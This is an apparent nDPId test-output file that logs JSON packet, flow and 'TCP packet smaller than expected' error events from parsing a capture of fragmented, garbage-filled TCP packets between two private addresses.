-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032911108} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032911122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032911134} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032911146} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032911158} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032911172} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244032911219} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":8764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiQjQCMkJV4m"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":29,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244033211391,"flow_src_last_pkt_time":1534244033211391,"flow_dst_last_pkt_time":1534244033211391,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":10792,"dst_port":10790,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_src_last_pkt_time":1534244033211391,"flow_dst_last_pkt_time":1534244033211391,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc0yAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211444} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211456} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211466} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211504} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211552} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":8773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211563} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211573} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211583} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211593} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211607} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211619} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211632} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211644} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211656} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211680} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211692} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":8785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211705} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211718} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211736} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211777} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211788} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211798} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211808} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211817} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211830} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211843} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211855} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211866} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211876} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211889} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033211902} 